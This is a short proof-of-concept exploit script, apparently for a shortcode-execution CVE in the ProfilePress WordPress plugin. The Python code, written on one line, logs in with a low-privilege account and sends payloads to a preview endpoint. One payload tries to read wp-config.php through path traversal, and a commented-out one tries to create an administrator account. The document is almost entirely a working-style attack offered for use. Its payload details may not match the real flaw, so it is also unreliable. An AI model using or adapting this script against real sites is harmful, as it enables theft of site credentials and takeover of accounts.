CVE-2025-13642

import requests # CVE-2025-13642 PoC - Arbitrary Shortcode Execution in ProfilePress # Target: WordPress site with ProfilePress plugin <= 4.16.7 target_url = "http://target-wordpress-site.com" # Authentication - attacker needs subscriber-level or higher account # Replace with valid WordPress credentials username = "attacker_account" password = "attacker_password" # Login to WordPress to obtain authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session = requests.Session() login_response = session.post(login_url, data=login_data) # Check if login was successful if "wordpress_logged_in" in str(session.cookies): print("[+] Login successful") # Exploit the arbitrary shortcode execution via pp_preview_form endpoint exploit_url = f"{target_url}/?pp_preview_form=1" # Example 1: Read wp-config.php (sensitive information disclosure) payload = { "type": "[pp id='1' template='../wp-config.php']" } # Example 2: Execute shortcode to create admin user # payload = { # "type": "[pp_register role='administrator']" # } exploit_response = session.get(exploit_url, params=payload) print(f"[+] Exploit request sent to: {exploit_url}") print(f"[+] Response status: {exploit_response.status_code}") print(f"[+] Response length: {len(exploit_response.text)} bytes") # Save response for analysis with open("exploit_response.html", "w") as f: f.write(exploit_response.text) print("[+] Response saved to exploit_response.html") else: print("[-] Login failed")

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